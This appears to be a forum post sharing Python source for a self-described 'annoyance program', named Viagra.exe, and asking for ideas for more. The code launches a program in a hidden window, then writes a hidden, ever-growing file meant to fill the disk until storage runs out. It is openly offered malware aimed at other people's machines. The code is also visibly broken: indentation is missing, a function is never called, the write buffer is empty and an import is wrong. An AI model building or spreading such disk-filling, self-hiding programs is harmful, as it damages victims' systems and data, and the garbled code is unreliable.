So I made this [In Python] as my first *Annoyance Program*. I wanted to make some more, Any ideas?
This one opens plays elevator music hides itself and then makes hidden files that don't stop growing in the same folder it's in.
(Named Viagra.exe After exported because it grows fast and big)
Code:
# -*- coding: utf-8 -*-
from errno import *
from sys import *
import os
from msvcrt import *
from time import *
from random import *
import subprocess
## Music Time Bby.
##os.system("start ElevatorMusic.mp3")
os.system('start Multitool.exe')
##Hiden
def startProgram( ):
SW_HIDE = 0
info = subprocess.STARTUPINFO( )
info.dwFlags = subprocess.STARTF_USESHOWWINDOW
info.wShowWindow=SW_HIDE
subprocess.Popen(r' Multitool.exe', startupinfo=info)
startProgram
##Write File
name=randint(0,9999999999)
write_str=""*1024*1024*10
with open(str(name), 'w') as f:
while True:
try:
fn=str(name)
p=os.popen('attrib +h ' + fn)
t=p.read()
p.close()
f.write(write_str)
f.flush()
except IOError as err:
if err.errno == errno.ENOSPC:
write_str_len=len(write_str)
if write_str_len>1:
write_str=write_str[:write_str_len/2]
else:
break
else:
raise
raise